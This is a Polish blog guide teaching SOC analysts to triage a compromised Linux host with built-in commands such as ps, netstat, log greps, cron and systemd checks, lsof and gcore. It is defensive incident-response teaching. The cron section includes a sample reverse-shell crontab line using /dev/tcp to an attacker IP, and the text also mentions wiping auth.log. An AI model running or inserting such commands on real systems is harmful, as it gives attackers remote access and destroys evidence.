Linux Commands Dla Analityków Bezpieczeństwa – Pełny Przewodnik Z Przykładami - Security Bez Tabu

Linux Commands Dla Analityków Bezpieczeństwa – Pełny Przewodnik Z Przykładami

Komendy Linuksa jako pierwsza linia analizy incydentu

W codziennej pracy analityka bezpieczeństwa (SOC) umiejętność szybkiego korzystania z wbudowanych poleceń Linuksa bywa bezcenna. Gdy liczy się czas – na przykład podczas triage incydentu lub szybkiej analizy forensic – często jedynym narzędziem jest konsola SSH bez dostępu do interfejsu graficznego. Instalacja dodatkowego oprogramowania zwykle nie wchodzi w grę, więc klasyczne polecenia powłoki Bash stają się pierwszą linią obrony Blue Team.

Ten przewodnik w praktyczny sposób pokazuje, jak wykorzystać tekstowe polecenia Linuksa do wykrywania i analizy oznak włamania. Przejdziemy krok po kroku przez realistyczne scenariusze z życia analityka SOC – od podejrzanych procesów, przez ruch sieciowy, logi systemowe, aż po harmonogram zadań (cron) i katalogi tymczasowe.

Nie będzie tu miejsca na ogólniki. Zamiast tego zobaczysz konkretne polecenia w akcji i dowiesz się, jak interpretować ich wyniki. Dzięki temu nawet początkujący analityk bezpieczeństwa nauczy się praktycznych technik obrony (Linux security) i lepiej zrozumie, co dzieje się w głębi systemu operacyjnego.

Dlaczego to ma znaczenie?

Dlaczego znajomość poleceń Linuksa jest tak istotna dla analityka bezpieczeństwa? Powodów jest kilka:

  • Szybkość reakcji: W sytuacji incydentu liczą się sekundy. Uruchamianie ciężkich narzędzi graficznych nie wchodzi w grę, podczas gdy wpisanie komendy w terminalu SSH daje natychmiastowy podgląd sytuacji. W krytycznym momencie możliwość błyskawicznego sprawdzenia procesów czy połączeń sieciowych to przewaga, która może zdecydować o powstrzymaniu ataku.
  • Brak dodatkowych wymagań: Wiele organizacji ogranicza instalację nowych aplikacji na serwerach produkcyjnych. Wbudowane polecenia Linuksa są dostępne od ręki na niemal każdej dystrybucji – wystarczy dostęp do powłoki. Niezależnie czy łączysz się lokalnie, czy zdalnie przez SSH, masz do dyspozycji ten sam zestaw narzędzi. Analityk SOC musi umieć wykorzystać to, co system oferuje domyślnie.
  • Głębsze zrozumienie systemu: Korzystanie z narzędzi tekstowych uczy, jak Linux „pod spodem” przechowuje informacje o procesach, usługach, logach czy autostarcie. To przekłada się na lepsze umiejętności analityczne i forensic – łatwiej zauważysz anomalię, gdy wiesz, jak wygląda norma.
  • Dowody i audytowalność: Polecenia generują wyniki, które łatwo zapisać do pliku i dołączyć do dokumentacji incydentu. Czy będzie to lista procesów, zrzut otwartych połączeń, czy wycinek logu – masz twarde dowody na to, co działo się w systemie w danym momencie. Takie artefakty można później przeanalizować na spokojnie lub wykorzystać jako materiał dowodowy.

Krótko mówiąc: wbudowane komendy Linuksa to podstawa warsztatu analityka bezpieczeństwa. Teraz przejdźmy do konkretnych zastosowań – krok po kroku, z przykładami z realnych incydentów.

Monitorowanie procesów Linuksa (ps)

Jednym z pierwszych kroków analizy podejrzanego hosta Linux jest przegląd uruchomionych procesów. Narzędzie ps (oraz interaktywne top czy htop) pozwala wyświetlić listę aktualnie działających procesów. Dla analityka bezpieczeństwa taka lista to punkt wyjścia: szukamy procesów, które nie powinny się tam znaleźć.

Przykład z praktyki: Wyobraź sobie, że system EDR zaalarmował Cię o podejrzanym procesie na serwerze. Logujesz się na hosta poprzez SSH i wykonujesz komendę pokazującą wszystkie procesy, np. ps auxf (pełna lista procesów z hierarchią). Otrzymujesz spis dziesiątek procesów – wiele z nich to znane systemowe (sshd, cron, systemd, kworker itp.). Jednak Twoją uwagę zwraca proces o nazwie cronjob (którego nazwa sugeruje coś związanego z cron, ale wygląda nietypowo) uruchomiony pod kontem www-data. Co więcej, proces ten zużywa podejrzanie dużo CPU (np. 95%) mimo skromnej nazwy sugerującej usługę systemową. To czerwona flaga – wygląda jak próba ukrycia złośliwego procesu podszywającego się pod systemowy demon.

Aby potwierdzić podejrzenia, sprawdzasz szczegóły tego procesu. Polecenie ps aux wyświetla również ścieżkę i argumenty procesu w kolumnie CMD. Załóżmy, że w przypadku naszego procesu widzisz ścieżkę: /tmp/cronjob – czyli binarka uruchomiona z katalogu /tmp. Żaden legalny proces systemowy nie działa z /tmp, więc masz niemal pewność, że to malware. Dla pewności możesz jeszcze sprawdzić plik wykonywalny procesu bezpośrednio, np. komendą ls -l /proc/2345/exe (gdzie 2345 to PID procesu) – potwierdzi ona lokalizację programu.

Przykładowy fragment wyników ps na zainfekowanym hoście mógłby wyglądać następująco:

root       754  0.0  0.1  17808  1584 ?        Ss   10:00   0:00 /usr/sbin/cron -f
www-data  2345 95.2  5.8 123456 789012 ?       S    10:05  15:00 /tmp/cronjob

Widać powyżej, że oprócz prawidłowego procesu cron (uruchomionego przez root, niskie zużycie zasobów), działa również proces /tmp/cronjob pod użytkownikiem www-data, wykorzystujący niemal cały CPU. Taki intruz najpewniej jest koparką kryptowalut lub backdoorem. W realnej sytuacji należałoby zebrać jak najwięcej informacji o tym procesie (ścieżka, parametry, otwarte pliki), a następnie go zakończyć (kill 2345 lub killall cronjob). Zanim to jednak zrobisz, upewnij się, że masz już zabezpieczone dowody (np. zrzut listy procesów, skopiowany plik binarki do analizy). Możesz też użyć narzędzi takich jak lsof -p 2345 by zobaczyć, jakie pliki lub połączenia sieciowe ma otwarte dany proces, co może zdradzić dodatkowe informacje.

Podsumowując, ps to podstawowe narzędzie do szybkiego przeglądu aktywności procesów. W kilka sekund daje pogląd, co dzieje się w systemie i pozwala wyłapać „nieproszonego gościa” działającego w tle.

Analiza ruchu sieciowego (netstat)

Drugim filarem szybkiej oceny stanu systemu jest sprawdzenie połączeń sieciowych. Jeżeli nasz podejrzany proces faktycznie jest malware, istnieje duża szansa, że próbuje komunikować się ze swoim operatorem (np. centrum C2) albo wydobywać kryptowalutę kontaktując się z poolami górniczymi. Polecenie netstat (lub nowocześniejsze ss) pozwala podejrzeć bieżące połączenia sieciowe oraz porty nasłuchujące.

Uruchom netstat -antp (opcje: a – wszystkie połączenia i porty, n – adresy numeryczne bez DNS, t – TCP, p – pokaż proces/PID). W wyniku otrzymasz listę aktywnych połączeń TCP wraz z odpowiadającymi im procesami. Przeanalizuj uważnie kolumny Foreign Address (obcy adres) i PID/Program name. Szukaj połączeń do nieznanych adresów IP, zwłaszcza na nietypowych portach.

Załóżmy, że wśród wyników netstat widzisz wiersz podobny do tego:

tcp        0      0 192.168.1.10:44436   203.0.113.50:3333    ESTABLISHED 2345/cronjob

Interpretacja: nasz proces cronjob (PID 2345) na hoście nawiązał połączenie do 203.0.113.50 na porcie 3333 i utrzymuje je (ESTABLISHED). Port 3333 jest znany m.in. z koparek kryptowalut (np. Monero). Taki ruch sieciowy to potwierdzenie złośliwej aktywności. Dzięki opcji -p od razu widzisz, który proces odpowiada za które połączenie (uwaga: wymaga to uprawnień root lub sudo, inaczej kolumna procesu może być pusta).

Co dalej? Gdy zidentyfikujesz podejrzane Foreign Address, warto sprawdzić ich reputację – choćby poprzez bazę Threat Intelligence lub proste zapytanie whois żeby dowiedzieć się, do jakiego kraju/organizacji należy adres. Jeśli potwierdzi się, że to adres atakującego, zalecane jest zablokowanie komunikacji (np. dodanie reguły firewall blokującej ruch do tego IP) oraz izolacja hosta od sieci, by zapobiec dalszej komunikacji i exfiltracji danych.

Oprócz połączeń wychodzących, netstat -antp pokaże również porty nasłuchujące (LISTEN). Warto rzucić okiem, czy na liście nasłuchujących portów nie ma jakiegoś nietypowego serwisu uruchomionego przez malware (np. tylnych drzwi otwierających powłokę na dziwnym porcie). Jeśli znajdziesz nasłuchujący port, którego nie powinno być – zidentyfikuj proces (znowu kolumna PID/program) i podejmij działania (np. zakończenie procesu, zabezpieczenie binarki).

Podsumowując, netstat/ss daje wgląd w sieć, co pozwala analitykowi szybko odpowiedzieć na pytania: „Czy ten host komunikuje się z atakującym? Dokąd wysyła dane? Czy nasłuchuje na backdoorowym porcie?”. W połączeniu z informacją o procesach, uzyskujemy pełniejszy obraz incydentu.

Analiza logów systemowych (syslog i auth.log)

Logi to kopalnia wiedzy dla analityka bezpieczeństwa. Linux zapisuje zdarzenia systemowe w plikach tekstowych (oraz w journal systemd, jeśli jest używany). Kluczowe z punktu widzenia SOC są logi autoryzacji i ogólne logi systemowe:

  • Log uwierzytelniania – na dystrybucjach Debian/Ubuntu to /var/log/auth.log, a na Red Hat/CentOS /var/log/secure. Zawiera wpisy związane z bezpieczeństwem: logowania (SSH, su, sudo), operacje użytkowników (np. dodanie konta, zmiany haseł) itp..
  • Log systemowy – /var/log/syslog (Debian) lub /var/log/messages (Red Hat) – ogólny dziennik komunikatów jądra i usług systemowych. Znajdziesz tam informacje o start/stop usług, komunikaty błędów programów, wiadomości kernela itd.

W szybkim przeglądzie logów chodzi o wyłapanie ewidentnych sygnałów ataku. Kilka praktycznych przykładów:

  • Nieudane logowania SSH: ataki brute-force zostawiają ślad jako wiele wpisów „Failed password for user from IP„. Możesz to szybko sprawdzić poleceniem:
    grep "Failed password" /var/log/auth.log | tail -20
    Jeśli zobaczysz setki nieudanych logowań z jednego adresu IP, to znak, że ktoś próbował zgadnąć hasło.
  • Udane podejrzane logowanie: pojedyncze „Accepted password for root” z obcego IP o nietypowej porze (np. w nocy) to alarm na maksa. Taki wpis oznacza, że ktoś zalogował się na konto root (lub inne) zdalnie. Przykładowy log: Oct 31 02:15:43 server1 sshd[10293]: Accepted password for root from 185.12.34.56 port 51432 ssh2 Jeśli nikt o tej porze nie powinien się logować – masz prawdopodobny dowód włamania.
  • Utworzenie nowego użytkownika lub zmiana uprawnień: logi auth zawierają również wpisy o dodaniu użytkownika. Możesz je znaleźć komendą:
    grep -E "(useradd|usermod|userdel)" /var/log/auth.log
    W rezultacie szukasz linii typu „useradd[1234]: new user: name=hacker, UID=1002…”. Na przykład: Oct 31 02:16:01 server1 useradd[10310]: new user: name=hacker, UID=1002, GID=1002, home=/home/hacker, shell=/bin/bash Taki wpis w połączeniu z powyższym przykładem logowania root sugeruje, że intruz po uzyskaniu dostępu utworzył sobie dodatkowe konto (hacker). To klasyczna metoda utrzymania dostępu.
  • Wykorzystanie sudo lub poleceń administracyjnych: w /var/log/auth.log znajdziesz też wpisy o użyciu polecenia sudo (np. linie zawierające „sudo:” i komendę, którą wykonano). Przegląd ostatnich komend podniesionych do roota może ujawnić, co robił atakujący (np. instalacja narzędzi, zmiany konfiguracji).
  • Błędy i ostrzeżenia w syslog: warto zerknąć do ogólnego logu systemowego w okolicach czasu incydentu. Czy jakaś usługa nagle się wysypała? Czy pojawiły się komunikaty o zmianach w usługach (np. restart Apache’a, włączenie nietypowej usługi)? Czasem malware pozostawia ślady w logach, np. błąd aplikacji webowej, przez którą nastąpiło wejście, może być zapisany w /var/log/syslog lub w logu aplikacji (np. web server logs).

W pracy analityka, umiejętne przeszukiwanie logów (grep, less) to podstawa. Pamiętaj, że logi mogą być obszerne – używaj filtrów (grep z wyrażeniami regularnymi, tail -n 100 żeby ograniczyć do ostatnich wpisów, itd.). Szukaj konkretów: dat, adresów IP, nazw użytkowników, słów kluczowych („error”, „fail”, „Accepted”, itp.).

Warto wspomnieć, że w niektórych systemach aktywowany jest auditd – mechanizm audytu jądra Linuksa, który loguje bardzo szczegółowe zdarzenia (np. wykonanie komendy, zmianę pliku). Jeśli auditd jest włączony, zajrzyj do /var/log/audit/audit.log lub użyj narzędzia ausearch/aureport do wyszukania podejrzanych akcji (np. modyfikacji pliku /etc/passwd, ustawienia SUID na pliku itp.). Auditd może dostarczyć dowodów, które nie trafiły do zwykłych logów, choć jego konfiguracja bywa skomplikowana. (Więcej o konfiguracji auditd znajdziesz w osobnym artykule SecurityBezTabu).

Na koniec, uważaj na oznaki czyszczenia logów. Jeśli intruz miał czas, mógł próbować zatrzeć ślady, np. wyczyścić plik logu komendą > /var/log/auth.log. Gdy widzisz, że log nagle się urywa o podejrzanej godzinie lub brakuje spodziewanych wpisów, to też jest informacja – ktoś majstrował przy logach. Dlatego zawsze warto skopiować logi na zewnętrzny system SIEM lub inny serwer (centralny syslog), aby atakujący nie mógł ich tak łatwo usunąć.

Sprawdzanie autostartu (usługi systemd i inne)

Większość zaawansowanych malware po udanej infekcji próbuje zyskać persistent – czyli uruchamiać się ponownie po restarcie systemu. Klasycznym miejscem, gdzie warto to sprawdzić, są mechanizmy autostartu Linuksa: usługi systemowe, skrypty init, cron @reboot czy pliki powłoki użytkowników.

W nowoczesnych systemach Linux dominuje systemd, więc persystencja często realizowana jest przez dodanie własnej usługi. Co zrobić jako analityk?

  • Wyświetl listę usług uruchamianych przy starcie:
    systemctl list-unit-files --state=enabled
    Ta komenda pokaże wszystkie jednostki systemd w stanie enabled. Przejrzyj uważnie listę usług (service) – czy znajduje się tam coś, czego nie kojarzysz? Na przykład apache.service na serwerze, który nie jest webserwerem, albo usługa o dziwnie wyglądającej nazwie. Jeśli coś budzi wątpliwości, możesz wyświetlić szczegóły jednostki komendą:
    systemctl cat nazwasuslugi.service
    co pokaże definicję usługi, zwłaszcza linię ExecStart. Gdy zobaczysz, że usługa uruchamia plik z katalogu /tmp, /home lub innej nietypowej lokalizacji – bingo, to niemal na pewno złośliwa wrzutka.
  • Sprawdź, jakie usługi aktualnie działają:
    systemctl --type=service --state=running
    Być może malware nie tylko ustawiło się na auto-start, ale właśnie teraz działa jako „usługa”. Zwróć uwagę na usługę, której opis/ścieżka jest podejrzana. Możesz też użyć klasycznego ps lub top – często już tam widzieliśmy proces, np. nasz cronjob mógł być uruchomiony jako usługa „cronjob.service”.
  • Inne mechanizmy autostartu: na starszych systemach wciąż mogą być wykorzystane skrypty init w /etc/init.d/ lub wpisy w /etc/rc.local. Spójrz, czy w tych miejscach nie pojawiły się nowe wpisy/skrypty. Czasem atakujący dopisują linię uruchamiającą malware do rc.local, bo ten plik wykonywany jest przy starcie.
  • Autostart użytkownika: jeżeli kompromitowany był zwykły użytkownik, warto sprawdzić jego powłokę i crontab. Pliki takie jak ~/.bashrc czy ~/.profile uruchamiają się przy logowaniu użytkownika – znane są przypadki, gdzie do .bashrc dopisano komendę startującą backdoora (np. netcat nasłuchujący na porcie) za każdym razem, gdy użytkownik się zaloguje. Sprawdź zawartość tych plików dla użytkowników, zwłaszcza tych, którzy zostali wykorzystani przez atakującego.

Jeśli wykryjesz podejrzaną usługę lub wpis autostartu, nie usuwaj od razu pochopnie. Najpierw zbierz dane: co uruchamia, z jakiej ścieżki, pod jakim użytkownikiem. To cenne informacje do raportu. Potem oczywiście wyłącz taką usługę (systemctl disable --now nazwasuslugi) i zabezpiecz plik binarny/skrypt, który uruchamiała. W przypadku wpisu w .bashrc czy rc.local – skopiuj ten plik i usuń złośliwy fragment lub tymczasowo wykomentuj.

Na marginesie, warto też spojrzeć na klucze autostartu w aplikacjach desktopowych, ale w kontekście serwerów (gdzie operuje SOC) rzadko jest to relevantne. Jeśli jednak badamy np. zainfekowany komputer użytkownika, to autostart może kryć się w konfiguracji środowiska graficznego (~/.config/autostart) lub w usługach systemd user. Dla kompletności dobrze o tym pamiętać, choć typowo w analizie serwerowej skupiamy się na poziomie systemowym.

Wykrywanie złośliwych zadań (cron)

Harmonogram zadań Linux, czyli cron, to kolejny ulubiony mechanizm atakujących do utrzymania się w systemie. Umożliwia cykliczne uruchamianie dowolnych poleceń – idealne, by np. co kilka minut odpalać malware ponownie, sprawdzać czy żyje, lub wykonywać okresowo pewne akcje (exfiltracja danych, sondowanie sieci wewnętrznej, itd.).

Podczas analizy powłamaniowej koniecznie prześwietl cron:

  • Wyświetl crontab główny systemu: cat /etc/crontab – czy nie dodano tam nowych linii? Ta metoda jest stosunkowo rzadziej używana przez atakujących, ale warto zerknąć.
  • Sprawdź katalogi /etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/ – czy nie ma tam nowych, podejrzanie nazwanych plików? Plik w /etc/cron.d/ może zawierać zadanie crona i jest wykonywany jak reszta, więc podrzucenie tam pliku to sposób na autostart.
  • Crontaby użytkowników: Uruchom sudo crontab -l -u root aby podejrzeć zadania crona roota (jeśli masz uprawnienia, oczywiście). Następnie sprawdź crontab innych ważnych użytkowników (np. www-data lub tego świeżo utworzonego hacker). Możesz iterować po /var/spool/cron/crontabs/ gdzie często przechowywane są crontaby użytkowników (na Ubuntu/Debian).
  • Szukaj wpisów odwołujących się do nietypowych lokalizacji lub poleceń. Na przykład, jeśli zobaczysz linię: * * * * * /tmp/cronjob to jest to oczywiście podejrzane (zadanie uruchamiane co minutę, wykonujące program z /tmp). Również wpis typu @reboot /tmp/cronjob oznacza uruchamianie czegoś przy każdym starcie systemu. Innym czerwonym alarmem będzie uruchamianie powłoki wskazującej na jakiegoś reverse shella, np.: * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.50/4444 0>&1' (takie coś otwiera połączenie do atakującego co minutę).
  • At jobs: Warto też sprawdzić jednorazowe zadania zaplanowane przez at. Polecenie atq pokaże listę zaplanowanych zadań. Choć at rzadziej jest używany przez malware, to przy gruntownej analizie lepiej sprawdzić i tę kolejkę.

Wykryte złośliwe zadania cron należy oczywiście usunąć, ale ponownie – najpierw zebranie dowodów. Zrób kopię podejrzanego pliku crontab lub zrzut jego treści. Następnie usuń wpis (crontab -e dla danego użytkownika i wykasowanie linii, lub usunięcie pliku z /etc/cron.d). Upewnij się też, że usuniesz sam plik binarny/skrypt, do którego cron się odwoływał, bo inaczej malware może pozostać w systemie bezczynnie.

Cron bywa zdradliwy – wielu administratorów zapomina sprawdzić harmonogram zadań podczas incident response, a to właśnie tam często czai się drugi etap ataku. Dlatego kontrola crona to obowiązkowy punkt checklisty analityka bezpieczeństwa.

Poszukiwanie podejrzanych plików (katalogi /tmp, /var, /home…)

Dopełnieniem powyższych kroków jest przeszukanie systemu plików pod kątem plików mogących być komponentami ataku. Często malware kopiuje się w charakterystyczne miejsca. W systemie Windows były to Temp czy AppData; w Linuksie analogiczne „podejrzane” lokalizacje to:

  • Katalogi tymczasowe: /tmp, /var/tmp, ewentualnie /dev/shm. Te miejsca są ogólnodostępne (wiele procesów może tam pisać) i często nie są monitorowane. Atakujący chętnie tam wrzucają swoje binarki czy skrypty, bo mają pewność, że zwykły użytkownik może tam zapisać plik i uruchomić (chyba że admin zabezpieczył system flagą noexec na tych katalogach). W naszym przykładzie już wykryliśmy plik /tmp/cronjob. Koniecznie sprawdź, czy w /tmp nie ma więcej „niespodzianek”.
  • Katalog domowy użytkownika: jeśli atakujący uzyskał dostęp do konta, mógł umieścić coś w jego $HOME. Sprawdź np. /home/hacker (dla nowo utworzonego użytkownika) lub /home/www-data (jeśli webshell działał pod tym użytkownikiem). Szukaj plików wykonywalnych, skryptów, a także plików .ssh (np. czy nie dodano klucza do authorized_keys).
  • Katalogi aplikacji: Na serwerach web atakujący lubią zostawiać webshell w katalogu aplikacji (np. w /var/www/html). Plik PHP, ASP czy JSP o dziwnej nazwie, którego wcześniej nie było, może być backdoorem. Przejrzyj katalogi usług, które były wektorem ataku.

Jak szukać? Kilka pomocnych technik:

  • Według czasu modyfikacji: jeśli znamy przybliżony czas ataku, możemy szukać plików zmodyfikowanych w tym okresie. Np.:
    find / -type f -newermt "2025-10-31" -newermt "2025-11-01"
    wylistuje pliki zmodyfikowane pomiędzy 31 października a 1 listopada 2025. (Uwaga: ta komenda może być ciężka na dużym systemie plików, warto ograniczyć zakres, np. do /etc, /home, /tmp itp., żeby nie przeszukiwać całego /usr).
  • Według nazwy lub wzorca: możesz szukać plików po nazwach rozszerzeń lub fragmentach nazw charakterystycznych dla malware. Np.
    find / -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" \) -mtime -7
    – szuka świeżych skryptów (.sh, .py, .pl) z ostatniego tygodnia. Albo
    find /tmp -type f -perm /111
    – szuka plików wykonywalnych w /tmp (perm /111 oznacza jakiekolwiek bity wykonywania ustawione).
  • Ręczna inspekcja katalogów newralgicznych: wejdź do /tmp, zrób ls -lart (lista z sortowaniem po czasie). Spójrz na ostatnie pliki. W naszym przykładzie pewnie zobaczysz tam cronjob albo podobnie nazwane pliki. Zrób to samo w /var/tmp i innych wyżej wymienionych.

Każdy znaleziony podejrzany plik traktuj jako potencjalny artefakt. Co dalej z nim? Zabezpiecz go do analizy: nie uruchamiaj, ale skopiuj (np. na odizolowany nośnik lub od razu na infrastrukturę do analizy malware). Oblicz sumę kontrolną, np.:
sha256sum /tmp/cronjob
Uzyskany hash możesz sprawdzić w bazach typu VirusTotal – być może malware jest już znane i opisane. Jeśli nie, hash przyda się do IOC (Indicator of Compromise) dla innych systemów.

Dobrym pomysłem jest też sprawdzenie typu pliku i ciągów znaków:

  • file /tmp/cronjob podpowie, czy to skompilowany ELF, skrypt, czy może plik danych.
  • strings /tmp/cronjob | head -50 pokaże pierwsze ciągi tekstowe z pliku – czasem zdradzają one np. adresy URL, komunikaty lub ścieżki plików powiązanych z malware.

Dzięki tym krokom można zidentyfikować nie tylko główną binarkę malware, ale też payloady dodatkowe (konfiguracje, skrypty pomocnicze, pliki wykradzionych danych itp.). Wszystko to są dowody rzeczowe incydentu, które należy zachować.

Wykrywanie rootkitów i nietypowych modułów kernela (lsmod, modinfo, dmesg, chkrootkit)

Rootkit to szczególny rodzaj malware, który ukrywa swoją obecność w systemie, często poprzez modyfikację kernela lub dodanie złośliwego modułu. Dla analityka SOC oznacza to, że standardowe polecenia mogą nie pokazywać pełnego obrazu (np. procesy są ukryte). Wykrycie rootkita wymaga zerknięcia pod maskę systemu. Pierwsza linia obrony to sprawdzenie modułów kernela: polecenie lsmod wyświetla listę wszystkich aktualnie załadowanych modułów. Na typowym serwerze zobaczysz znajome nazwy (np. ext4, auth_rpcgss, tcp_diag, itp.). Gdy jednak wśród nich pojawi się moduł o dziwnej lub nieoczekiwanej nazwie – to czerwona flaga. Przykładowo, rootkit może załadować moduł o nazwie udającej legalny sterownik albo losowo nazwany (np. klmdrv lub dd_ki), by zmylić czujność.

Jeśli natrafisz na podejrzany moduł, sięgnij po modinfo. To polecenie wyświetla szczegółowe informacje o module kernela – ścieżkę do pliku, opis, autora, licencję, zależności. Legalne moduły zwykle mają sensowne opisy i licencję GPL, a ich pliki znajdują się w standardowej ścieżce (/lib/modules/<wersja_jądra>/...). Złośliwy moduł może nie mieć żadnego opisu, dziwnego autora lub być załadowany z nietypowej lokalizacji (np. katalogu tymczasowego). Już taki fakt wskazuje, że ktoś z uprawnieniami roota wprowadził do kernela obcy kod. W praktyce analityk może wykryć rootkita właśnie po tym, że modinfo ujawnia brak typowych atrybutów lub nietypową ścieżkę binarki modułu.

Kolejne narzędzie to dmesg, które wypisuje bieżący bufor logów jądra. Po kompromitacji warto przejrzeć komunikaty kernela – czy nie pojawiły się tam błędy lub ostrzeżenia wskazujące na problemy z modułami? Niektóre rootkity powodują niestabilność i zostawiają ślady w dmesg (np. kernel oops, komunikaty o próbie nadpisania pewnych struktur, błędy podpisu modułu przy Secure Boot). Jeżeli rootkit był nieudolnie napisany albo konfliktuje z systemem, w dmesg możesz znaleźć wskazówki trudne do ukrycia – np. nazwy modułów, które próbowano załadować, albo podejrzane odwołania do pamięci.

Wreszcie, do skanowania systemu pod kątem znanych rootkitów użyj wyspecjalizowanego narzędzia, takiego jak chkrootkit. To skrypt sprawdzający popularne ścieżki i techniki ukrywania się malware w Linuxie. Przeszukuje m.in. zmodyfikowane binarki systemowe, nietypowe wpisy w /dev, procesy widoczne w jednym poleceniu a ukryte w innym, itp. Typowe użycie to po prostu uruchomienie go z uprawnieniami roota – narzędzie przeprowadzi serię testów. Uwaga: chkrootkit może dawać false positives, ale jeśli zobaczysz komunikat INFECTED przy nazwie konkretnego rootkita, masz poważny powód do dalszej analizy. Przykładowy fragment wyniku skanowania może wyglądać tak:

Checking `bindshell'... not infected  
Checking `suckit'... INFECTED

W powyższym przypadku narzędzie wykryło ślady rootkita SuckIT – klasycznego modułu kernela, który ukrywa procesy. W scenariuszu IR taki wynik oznacza pełne czerwone alarmy: host powinien zostać natychmiast odizolowany, a następnie poddany gruntownej analizie offline (dump pamięci RAM całego systemu, analiza dysku na innym hostcie itp.). W praktyce Blue Team najczęściej podejmie decyzję o reinstalacji systemu, bo rootkit kernela podważa zaufanie do całego OS. Najważniejsze jednak jest samo wykrycie – lsmod, modinfo i chkrootkit to nasi sprzymierzeńcy, gdy podejrzewamy, że atakujący zaszył się na najniższym poziomie systemu.

Analiza pamięci procesu i otwartych plików (lsof, /proc/<PID>/maps, gcore)

Zwykłe polecenie ps pokaże Ci procesy, ale dopiero analiza otwartych plików i pamięci procesu zdradza, co dany proces naprawdę robi. W pracy analityka często natrafiamy na dziwny proces (np. działający pod nietypowym użytkownikiem albo o nazwie sugerującej malware). Sam spis procesów to za mało – sięgamy wtedy po lsof (list open files), aby zajrzeć do wnętrza procesu. Polecenie lsof -p <PID> wyświetli wszystkie uchwyty plików otwarte przez proces o danym PID. A „pliki” w tym kontekście to nie tylko zwykłe pliki na dysku – to także biblioteki .so, gniazda sieciowe, potoki, urządzenia itd. Dzięki temu jednym poleceniem możemy ustalić, z czego korzysta podejrzany program.

Rozważmy praktyczny przykład: na serwerze zauważono proces o nazwie xmrig działający pod użytkownikiem WWW (www-data), zużywający 100% CPU – podejrzenie pada na koparkę kryptowalut. Uruchamiasz lsof -p 1234 (zakładając PID 1234) i analizujesz wyniki. Widzisz między innymi wpis wskazujący na plik wykonywalny procesu:

xmrig   1234   www-data  txt   REG    /tmp/xmrig (deleted)

Taki wiersz oznacza, że proces nadal używa pliku /tmp/xmrig, który został już usunięty z dysku ((deleted)). To klasyczna sztuczka malware – uruchomić się z /tmp, a następnie skasować plik, by utrudnić znalezienie binarki. Dalej lsof pokazuje np. otwarte połączenie sieciowe:

xmrig   1234   www-data  4u  IPv4  TCP 192.168.10.5:34567->203.0.113.5:4444 (ESTABLISHED)

W jednym strzale dostałeś więc informację, dokąd łączy się proces (zewnętrzny adres IP 203.0.113.5 na porcie 4444 – prawdopodobnie serwer dowodzenia albo pool miningowy), a także że jego binarka była uruchomiona z katalogu tymczasowego i skasowana. To już solidne wskaźniki kompromitacji. Ponadto w wynikach lsof będą wymienione wszystkie biblioteki i pliki konfiguracyjne otwarte przez proces – przejrzyj je pod kątem nazw w /proc czy dziwnych katalogów. Czasem znajdziesz tam otwarte pliki w katalogach, w których malware przechowuje konfigurację lub wykradzione dane.

Drugim krokiem jest zajrzenie do przestrzeni pamięci procesu. Plik /proc/<PID>/maps zawiera mapę pamięci procesu – listę załadowanych bibliotek i segmentów pamięci wraz z adresami i uprawnieniami. Brzmi niskopoziomowo, ale w praktyce może szybko ujawnić np. kod wstrzyknięty do pamięci. Jeżeli w pliku maps widzisz segmenty oznaczone jako rwxp (czyli z prawem wykonywania) bez przypisanego pliku (anonimowe), to znaczy, że proces ma w pamięci segment wykonawczy, którego nie ma na dysku. To może być shellcode lub payload binarny załadowany np. przez exploit. Również biblioteki z nietypowych ścieżek (np. /tmp/payload.so) będą widoczne w maps – co pozwala namierzyć atak, w którym intruz załadował własną libkę do procesu ofiary. Analiza maps bywa przydatna przy rootkitach użytkownika (LD_PRELOAD) lub malware bez pliku na dysku (tzw. fileless malware).

Mając już sporo tropów, analityk IR często chce zachować dokładny stan procesu do dalszych badań. Tutaj wkracza gcore – narzędzie do zrobienia zrzutu pamięci (core dump) działającego procesu. W odróżnieniu od kill -SIGSEGV czy innego sposobu generowania core, gcore nie ubija procesu, tylko „zamraża” jego kopię na dysk. Składnia jest prosta: gcore -o /ścieżka/nazwa <PID> tworzy plik core o podanej nazwie z dołączeniem PID (np. /tmp/suspect.1234 jeśli podano prefix /tmp/suspect). Taki plik może ważyć setki MB lub kilka GB, bo zawiera całą pamięć procesu – ale dzięki temu analityk może na spokojnie załadować go potem do debuggera (gdb) lub użyć narzędzi typu strings, aby wyciągnąć zrzutane ciągi znaków. W przypadku naszego xmrig dump pamięci mógłby zawierać adres portfela kryptowalut lub adresy kolejnych serwerów C2 zaszyte w kodzie – bez tego musielibyśmy zgadywać lub dekompilować binarkę. Co ważne, gcore pozwala nam zdobyć te dane bez zatrzymywania atakującego procesu (który mógłby np. przed śmiercią wyczyścić ślady).

Podsumowując, analiza otwartych plików i pamięci procesu daje wgląd w to, co malware trzyma w zanadrzu. lsof -p szybko wskaże Ci, gdzie szukać dalszych dowodów (plik konfiguracyjny, połączenie sieciowe, ścieżka binarki), a gcore pozwoli je zachować do głębszej analizy. W pracy analityka takie techniki są bezcenne przy analizie żywego systemu – zamiast zgadywać na podstawie zachowania, wyciągasz prosto z procesu informacje, które mogą przesądzić o powodzeniu dochodzenia.

Analiza historii poleceń użytkownika (.bash_history)

Napastnicy zostawiają ślady nie tylko w logach systemowych, ale też… we własnych działaniach powłoki. Każdy interaktywny shell Bash zapisuje polecenia użytkownika do pliku ~/.bash_history (o ile nie został do tego zablokowany). Dlatego jednym z pierwszych kroków analityka po włamaniu na Linuksa jest zajrzenie do historii poleceń kont, które mogły zostać użyte przez atakującego. Analiza .bash_history potrafi zrekonstruować krok po kroku, co intruz robił w systemie – często jest to istny „taśmowiec” z przebiegu ataku.

Najpierw zidentyfikuj użytkownika, którego kompromitacja wchodzi w grę. W środowisku serwerowym będzie to nierzadko konto uprzywilejowane (np. root) albo serwisowe, przez które atak nastąpił (np. www-data dla serwera WWW, jeśli włamanie poszło przez podatną aplikację webową). Plik historii to zwykły tekst – możesz go przejrzeć komendą typu cat ~/.bash_history | less. Ważne jest, aby nie edytować ani nie logować się na to konto interaktywnie po ataku, bo wtedy ryzykujesz nadpisanie lub dopisanie własnych poleceń do historii. Najlepiej skopiować plik .bash_history zaraz po zabezpieczeniu maszyny (albo odczytać go np. przez sudo cat z innego konta).

